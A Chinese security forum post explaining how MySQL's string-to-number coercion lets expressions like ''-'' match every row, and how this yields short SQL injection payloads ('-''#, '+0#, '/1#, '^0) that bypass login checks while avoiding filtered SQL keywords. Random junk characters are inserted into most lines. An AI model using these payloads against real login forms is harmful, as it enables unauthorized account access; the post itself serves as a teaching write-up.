找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2449|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。$ _4 m9 M4 h! b
有以下表结构:
; u4 \) X& h) g" j1 N& H' @
: E' x; e8 {( E1 f5 G3 x; \' mmysql> desc admin;6 [6 q/ o% Z  Q4 U9 e, D
+----------+--------------+------+-----+---------+----------------+
) j- x' ^: [" Y2 I: v| Field    | Type         | Null | Key | Default | Extra          |+ D# w! V2 Q" t5 \, X0 A3 t
+----------+--------------+------+-----+---------+----------------++ v- O, d7 j* q: g, d- d  F
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
  Y/ B7 O$ |1 P6 N' e4 ^| name     | char(32)     | NO   | UNI | NULL    |                |
& H% R2 Z% F! |, I9 u| password | char(32)     | NO   | UNI | NULL    |                |
$ L; k! {4 b( R+----------+--------------+------+-----+---------+----------------+/ U6 `1 g4 @# V
3 rows in set (0.00 sec)" R" P5 g4 p1 x  V6 }( k8 }3 b+ Y+ I
执行select * from admin;,成功返回所有记录内容。4 n+ b7 c0 q& z0 }( b; g
$ F; B$ m# v5 T  y/ w- D
( T" N/ ?4 z( @
+----+--------+----------------------------------+1 y8 ^; J9 m5 s4 o
| id | name   | password                         |# Q1 m8 C: u: J8 T6 `2 i0 q
+----+--------+----------------------------------+) _0 Q) k. L% e$ t% j9 q6 \
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |# W- _- j* ~- i2 d6 s9 r1 S
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
+ y! W, @' j* u, V|  4 | n00b   | ff80e8508d39047460921792273533a4 |4 F. g! t8 q: n9 e
+----+--------+----------------------------------+
$ `' |0 N+ w4 u) K1 k3 rows in set (0.00 sec)/ {8 c) R+ d. M" e7 U0 ?
执行select * from admin where name=”;,没有匹配到任何记录。 ! y1 e, o6 \2 j4 Z5 M. j& g, A" Y) u
7 V4 Q( S" U( X9 y
mysql> select * from admin where name = '';; J7 V( H+ ^* O* O9 S. `" {
Empty set (0.00 sec)
4 I0 x. l: W$ X2 F那么我们来执行select * from admin where name = ”-”;
; T( g1 v7 ]; q/ }4 U9 h
, ?- ^( f0 ]  t. P. c& i% }2 Z9 L0 }
+----+--------+----------------------------------+
: t. b+ X* ^: l! {( Z' W1 ]| id | name   | password                         |
9 ^5 A( \, ~' A; N$ P: S. [: G% l+----+--------+----------------------------------+8 H+ }7 e" q7 ~
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
3 R4 k) M7 [# @7 T4 g, |5 I1 w4 ]|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
" ?: [6 p& n) N|  4 | n00b   | ff80e8508d39047460921792273533a4 |$ I# u0 G; f2 d2 V' l  z) k
+----+--------+----------------------------------+
( a! \% t. k; M7 w0 i# q3 rows in set, 3 warnings (0.00 sec)7 @; x: {6 X4 C, `1 a+ o0 n
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , b& l" b+ G. m5 O* r9 L
4 M- A. c# P) O1 w1 }
mysql> show warnings;7 Z, g- n; ?" j8 f& |
+---------+------+------------------------------------------
: R# S' \9 w: B# y0 Y: e| Level   | Code | Message
4 E3 x! @- x+ e/ {+---------+------+------------------------------------------
' [/ d. \7 A- I# H| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin- {' @% a4 M( v* T
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s% F& }0 |: t; {/ V
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b& h& w6 T% _+ [+ M5 d6 i  |. @
+---------+------+------------------------------------------5 V9 b9 n$ w; J/ e$ h9 s' q
3 rows in set (0.00 sec)
( Z; M6 }6 u6 A6 K. I* n/ L0 x提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
: p; Z- Y8 x4 t' {/ d' k) D) k: d. T/ g( W, G6 e) H$ C9 U
mysql> select ''-'';& ~0 m( x1 Y6 e/ x7 @3 G& V
+-------+9 T4 v  _+ ?/ m, f; i1 Y- v; q
| ''-'' |
- t, v0 ]: l) E# |$ P+-------+
) \5 K# P' x  f9 V+ @( X0 b. g|     0 |
/ W! c: U$ }/ c* E2 a+-------+
8 c  q( {3 K( g% \/ z3 _# t1 row in set (0.00 sec)
' z: @" f3 f, b+ k  n3 }! u" V返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
5 {9 u: |1 G9 S. z: R
4 c0 P4 S( }& M- w$ [mysql> select CAST((select name from admin limit 1,1) as DECIMAL);' `& q* y" |# c. R; w3 o0 g
+-----------------------------------------------------+
! ^0 I- c# K8 j# B) O5 e| CAST((select name from admin limit 1,1) as DECIMAL) |* m# F9 P# E  s+ V* a  l
+-----------------------------------------------------+3 I% e. d* {( N1 @1 R
|                                                   0 |
, ]) i  H0 y5 A+ i0 ]+-----------------------------------------------------+
7 |' B) k# P6 U) v0 x1 row in set, 1 warning (0.00 sec)" `3 u& i) b3 F3 }5 o5 Q! O$ y
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
) D* A( C6 F& b* C8 z# I5 f$ L8 \! s* m% f1 F* J
SQL注入场景: http://www.sqlzoo.net/hack/ : D3 s0 K' @% P, L3 `* G

( Z1 s9 n% H4 ~9 h1 V7 n9 x4 p0 P  b( N' D
8 w) a$ ]! W% A9 @6 Y9 x

1 X/ ?- h+ U) \: E& Z8 T如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
5 D/ u. V# [7 l- v' W1 c6 c5 D0 w8 t
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 * f% z/ a2 v/ R0 f
& ~: E( D3 F1 n3 E' B. M

$ d# M. A: U, c+ |) E% O/ `4 m0 q, A$ c2 q
/ t# x$ Y, [( P; ]
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
& D6 \, D1 O$ t" u9 i/ j- L# o4 R/ r. i5 N5 O7 u, U* ]
     U9 _  O, Z% d; W

! m% C6 C4 |8 c3 H0 T8 s除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
* D  D* G7 v! o, x" E* m2 O) R' p5 }, Q$ k9 O+ f! R  X+ }
& N+ I7 y  b$ I  @1 {5 J6 B: \
mysql> select ''/1;
8 T* m& j, j: j- ^7 N  {7 P9 M+------+
1 A$ s: c# v0 D% X| ''/1 |
1 f4 B. u# L2 @; ~/ I+------+
# p; e+ Y8 D. M6 e9 ~% i; d: v|    0 |+ ~' s4 R1 N2 S- c
+------+3 e9 u6 H. |! k' Q3 m
1 row in set (0.00 sec)
2 a* O! c) F' _* t类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。    H) z( F3 E( M4 s$ s3 ]

+ S7 }8 V, ?9 P利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。4 ?9 Q( Y1 C) ~8 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表